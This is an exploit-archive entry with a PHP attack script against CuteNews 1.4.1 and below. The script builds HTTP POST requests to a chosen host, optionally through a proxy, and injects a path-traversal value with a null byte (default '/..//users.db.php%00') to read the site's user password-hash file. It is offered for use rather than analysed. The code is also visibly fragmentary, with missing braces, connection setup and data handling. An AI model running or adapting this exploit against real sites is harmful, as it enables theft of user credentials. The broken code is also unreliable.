CuteNews <= 1.4.1 (function.php) Local File Include Exploit

ID 1337DAY-ID-322
Type zdt
Reporter Hamid Ebadi
Modified 2006-03-26T00:00:00


Exploit for unknown platform in category web applications

CuteNews <= 1.4.1 (function.php) Local File Include Exploit

// Happy NEW Iranian year .
// Happy Norouz  ( PERSIAN celebration )
// CuteNews 1.4.1 ( Hash password Finder
// by Hamid Ebadi
// Bug Discovered and Exploited by Hamid Ebadi .: Hamid Network Security Team :.
// run it from your browser...
// make these changes in php.ini if you have troubles with this script

//allow_call_time_pass_reference = on
//register_globals = On

echo '<head><title>CuteNews 1.4.1 user Hash password Finder</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
      <style type="text/css">
      body,td,th {color: #000000;}
      body {background-color:EBEBEB #;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;
        font-weight: bold;

<h2>CuteNews 1.4.1 (and Below) user Hash password Finder </h2>
 <p class="Stile6">Security ? . </p>
 <p class="Stile6">Bug Discovered and Exploited by Hamid Ebadi  <a href="" target="_blank">.: Hamid Network Security Team :.</a></p>
<p class="Stile5">Happy Norouz  ( PERSIAN new year celebration ) Greetz to all Iranian Hackers spacially my friends in  and ...</p>

<p class="Stile6">read this paper about <a href="" target="_blank">CuteNews 1.4.1   vulnerability</a></p>
<table width="84%" >
    <td width="43%">
     <form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&". "port=value&command=value&proxy=value">
       <input type="text" name="host">
      <span class="Stile5">hostname (ex: </span></p>
        <input type="text" name="path">
        <span class="Stile5">path (ex: /cutenews/example2.php ) </span></p>
      <input type="text" name="port">
        <span class="Stile5">specify a port other than 80 (default value) </span></p>
      <input type="text" name="proxy">
        <span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
      <input type="text" name="command">
        <span class="Stile5">specify a file  other than /../users.db.php%00 to read  </span></p>
          <input type="submit" name="Submit" value="go!">
<p class="Stile5">Spacial THX : rgod at <a href="" target="_blank"></a> for his great codes (i just change few lines of RGOD old NETQUERY remote commands execution exploit)</p>

function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
if ($ji==16) {
             echo "<td>  </td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
            echo "</tr><tr>";
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>  </td>";

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";

echo "</tr></table>";

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if ( ($host<>''))
if ($port=='') {$port=80;}
if ($path=='') {$path="example2.php";}

if ($command=='') {$command="/..//users.db.php%00";}
if ($proxy=='')
       {$packet="POST ".$path."  HTTP/1.1\r\n";}
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...<br>';
        {$packet="POST http://".$host.$path." HTTP/1.1\r\n";}

$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Hamid/2006\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";

echo '<br> Sending exploit to '.$host.'<br>';

if ($proxy=='')
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     if (!$fp) { echo 'No response from proxy...';

echo $packet ;

if ($proxy=='')
{ $data='';
     while (!feof($fp))
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))

if (eregi('HTTP/1.1 200 OK',$data))
    {echo 'Exploit sent...<br> If CuteNews 1.4.1   is unpatched and vulnerable  <br>';
     echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
    {echo 'Error, see output...';}

//show($data); //debug: show output in a packet dump...
//echo nl2br(htmlentities($data));
echo $data;

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